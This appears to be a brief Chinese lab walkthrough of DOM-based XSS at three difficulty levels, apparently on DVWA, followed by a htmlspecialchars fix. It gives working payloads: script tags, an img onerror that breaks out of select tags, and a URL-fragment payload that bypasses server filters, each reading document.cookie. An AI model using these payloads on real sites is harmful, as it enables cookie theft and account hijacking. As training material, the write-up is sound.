xss dom
0x01 low
<script>alert(document.cookie)</script>
弹个窗
script被写入html
0x02 medium
过滤<script
考虑使用img标签,其onerror属性在该元素加载src错误时触发
注入元素被写入value,就在value闭合option 和 select标签
</option></select><img src=1 onerror=alert(document.cookie)>
0x03 high
参数接收属于php代码,使用#注释,参数不会被发送到后端,但会在浏览器中执行
English #<script>alert(document.cookie)</script>
0x04 Repair 修复漏洞
$message = htmlspecialchars($message);
$name = htmlspecialchars($name);
htmlspecialchars非常好用,将尖括号转化为html实体,浏览器前端代码不执行
或者用正则把尖括号过滤也能成,尖括号在js或html中被广泛用到